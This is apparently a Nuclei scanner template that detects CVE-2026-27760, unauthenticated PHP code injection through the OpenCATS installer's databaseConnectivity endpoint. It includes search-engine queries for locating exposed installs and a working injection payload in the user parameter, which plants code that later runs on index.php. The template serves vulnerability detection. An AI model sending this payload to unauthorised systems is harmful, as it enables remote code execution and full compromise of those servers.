OpenCATS - Command Injection

id: CVE-2026-27760

info:
  name: OpenCATS - Command Injection
  author: theamanrawat
  severity: high
  description: |
    OpenCATS prior to commit 3002a29 contains a command injection caused by injection of PHP statements into the installer AJAX endpoint's databaseConnectivity action parameter, letting unauthenticated attackers execute arbitrary code, exploit requires incomplete installation wizard.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code remotely, leading to full system compromise.
  remediation: |
    Update to the version after commit 3002a29 or latest available version.
  reference:
    - https://chocapikk.com/posts/2026/opencats-installer-rce/
    - https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6
    - https://github.com/opencats/OpenCATS
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27760
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-27760
    epss-score: 0.22189
    epss-percentile: 0.97384
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve,cve2026,opencats,rce,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "!contains(body, 'installLocked')"
          - "contains(body, 'setActiveStep')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /ajax.php?f=install:ui&a=databaseConnectivity HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user=cats');echo+'{{randstr}}'.md5('{{randstr}}');//

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
        internal: true

  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{randstr}}' + md5('{{randstr}}'))"
          - "status_code == 200"
        condition: and
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